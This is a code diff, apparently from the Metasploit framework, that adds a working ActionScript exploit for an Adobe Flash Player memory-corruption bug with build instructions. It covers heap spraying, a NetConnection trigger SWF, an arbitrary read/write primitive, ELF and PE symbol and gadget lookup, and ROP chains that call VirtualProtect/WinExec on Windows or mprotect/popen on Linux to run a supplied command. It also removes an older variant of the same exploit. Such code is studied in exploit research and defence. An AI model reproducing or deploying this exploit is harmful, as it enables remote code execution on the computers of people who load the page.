public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,120 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Exploit.as
// It uses some original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.display.Loader
import flash.utils.ByteArray
import flash.utils.Endian
import flash.utils.*
import flash.external.ExternalInterface
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var uv:Vector.<uint> = new Vector.<uint>
private var exploiter:Exploiter
private var spray:Vector.<Object> = new Vector.<Object>(89698)
private var interval_id:uint
private var trigger_swf:String
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var platform:String
public function Exploit()
{
var i:uint = 0
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
if (platform == 'win') {
for (i = 0; i < 89698; i = i + 1) {
spray[i] = new Vector.<uint>(1014)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x1a1e1429
}
for(i = 0; i < 89698; i = i + 1) {
spray[i].length = 0x1e
}
} else if (platform == 'linux') {
for (i = 0; i < 89698; i = i + 1) {
spray[i] = new Vector.<uint>(1022)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021
spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58
spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted)
}
}
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
trigger_byte_array.position = 0
// Trigger corruption
var trigger_loader:Loader = new Loader()
trigger_loader.loadBytes(trigger_byte_array)
interval_id = setTimeout(do_exploit, 2000)
}
private function createByteArray(hex_string:String) : ByteArray {
var byte:String
var byte_array:ByteArray = new ByteArray()
var hex_string_length:uint = hex_string.length
var i:uint = 0
while(i < hex_string_length)
{
byte = hex_string.charAt(i) + hex_string.charAt(i + 1)
byte_array.writeByte(parseInt(byte,16))
i = i + 2
}
return byte_array
}
private function do_exploit():void {
clearTimeout(interval_id)
for(var i:uint = 0; i < spray.length; i = i + 1) {
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
spray[i][0x3ffffffe] = 0xffffffff
spray[i][0x3fffffff] = spray[i][1023]
uv = spray[i]
}
}
for(i = 0; i < spray.length; i = i + 1) {
if (spray[i].length == 1022 || spray[i].length == 0x1e) {
spray[i] = null
}
}
if (uv == null || uv.length != 0xffffffff) {
return
}
exploiter = new Exploiter(this, platform, payload, uv)
}
}
}

View File

@ -0,0 +1,82 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3e0
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,251 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
return
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,318 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Msf.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var interval_id:uint;
private var trigger_swf:String = ""
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
private var spray:Vector.<Object> = new Vector.<Object>(89698 + 100)
private var corrupted_index:uint = 0
private var restore_required:Boolean = false
private var uv:Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
public function Msf() {
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
ba.endian = "littleEndian"
ba.length = 1024
ba.writeUnsignedInt(0xdeedbeef)
ba.position = 0
var i:uint = 0
while (i < 89698) {
spray[i] = new Vector.<uint>(1014)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x1a1e1429
i++
}
for(i = 0; i < 89698; i = i + 1) {
spray[i].length = 0x1e
}
for(i = 0; i < 100; i = i + 1) {
spray[i + 89698] = new Vector.<Object>(1014)
spray[i + 89698][0] = ba
spray[i + 89698][1] = this
spray[i + 89698][2] = stack
spray[i + 89698][3] = payload_space
}
for(i = 0; i < 100; i = i + 1) {
spray[i + 89698].length = 114
}
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
trigger_byte_array.position = 0
// Trigger corruption
var trigger_loader:Loader = new Loader();
trigger_loader.loadBytes(trigger_byte_array);
interval_id = setTimeout(exploit, 2000)
}
public function createByteArray(hex_string:String) : ByteArray {
var byte:String = null;
var byte_array:ByteArray = new ByteArray();
var hex_string_length:uint = hex_string.length;
var i:uint = 0;
while(i < hex_string_length)
{
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
byte_array.writeByte(parseInt(byte,16));
i = i + 2;
}
return byte_array;
}
public function exploit():void {
clearTimeout(interval_id)
for(var i:uint = 0; i < spray.length; i = i + 1) {
if (spray[i].length != 0x1e) {
corrupted_index = corrupt_vector_uint(i)
restore_required = true
uv = spray[corrupted_index]
uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-)
control_execution()
if (restore_required) {
restore_vector_uint()
}
break;
}
}
}
// make it better, search and return error if it doesn't work :-)
public function corrupt_vector_uint(index:uint):uint {
spray[index][0x3fe] = 0xffffffff
return spray[index][0x402]
}
public function restore_vector_uint():void {
var atom:uint = spray[corrupted_index][0x3fffffff]
spray[corrupted_index][0x3ffffbff] = atom
spray[corrupted_index][0x3ffffbfe] = 0x1e
// Restore vector corrupted by hand
spray[corrupted_index][0x3ffffffe] = 0x1e
}
public function control_execution():void {
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
if (object_vector_pos == 0xffffffff) {
return
}
var byte_array_object:uint = uv[object_vector_pos] - 1
var main:uint = uv[object_vector_pos + 1] - 1
var stack_object:uint = uv[object_vector_pos + 2] - 1
var payload_space_object:uint = uv[object_vector_pos + 3] - 1
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it anymore
restore_vector_uint()
restore_required = false
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
private function search_object_vector():uint {
var i:uint = 0;
while (i < 89698 * 1024){
if (uv[i] == 114) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,63 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<project version="2">
<!-- Output SWF options -->
<output>
<movie outputType="Application" />
<movie input="" />
<movie path="trigger_linux.swf" />
<movie fps="30" />
<movie width="800" />
<movie height="600" />
<movie version="0" />
<movie minorVersion="0" />
<movie platform="Custom" />
<movie background="#FFFFFF" />
</output>
<!-- Other classes to be compiled into your SWF -->
<classpaths>
<class path="src" />
</classpaths>
<!-- Build options -->
<build>
<option verbose="False" />
<option strict="False" />
<option infer="False" />
<option useMain="True" />
<option useMX="False" />
<option warnUnusedImports="False" />
<option traceMode="FlashConnectExtended" />
<option traceFunction="" />
<option libraryPrefix="" />
<option excludeFile="" />
<option groupClasses="False" />
<option frame="1" />
<option keep="True" />
</build>
<!-- Class files to compile (other referenced classes will automatically be included) -->
<compileTargets>
<compile path="src\Main.as" />
</compileTargets>
<!-- Assets to embed into the output SWF -->
<library>
<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
</library>
<!-- Paths to exclude from the Project Explorer tree -->
<hiddenPaths>
<hidden path="obj" />
</hiddenPaths>
<!-- Executed before build -->
<preBuildCommand />
<!-- Executed after build -->
<postBuildCommand alwaysRun="False" />
<!-- Other project options -->
<options>
<option showHiddenPaths="False" />
<option testMovie="Unknown" />
<option testMovieCommand="" />
</options>
<!-- Plugin storage -->
<storage />
</project>

View File

@ -0,0 +1,18 @@
// Build with FlashDevelop, its command line is:
// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library"
class Main
{
public static function main(swfRoot:MovieClip):Void
{
var _loc2_ = _global.ASnative(2100, 0x956c2000);
var _loc3_ = new Object();
_loc2_.__proto__ = _loc3_;
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor
_global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID
}
public function Main()
{
}
}

View File

@ -43,7 +43,10 @@ package
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true

View File

@ -127,8 +127,8 @@ module Exploit::CmdStager
# Show the progress of the upload while cmd staging
#
# @param total [Float] The total number of bytes to send
# @param sent [Float] The number of bytes sent
# @param total [Float] The total number of bytes to send.
# @param sent [Float] The number of bytes sent.
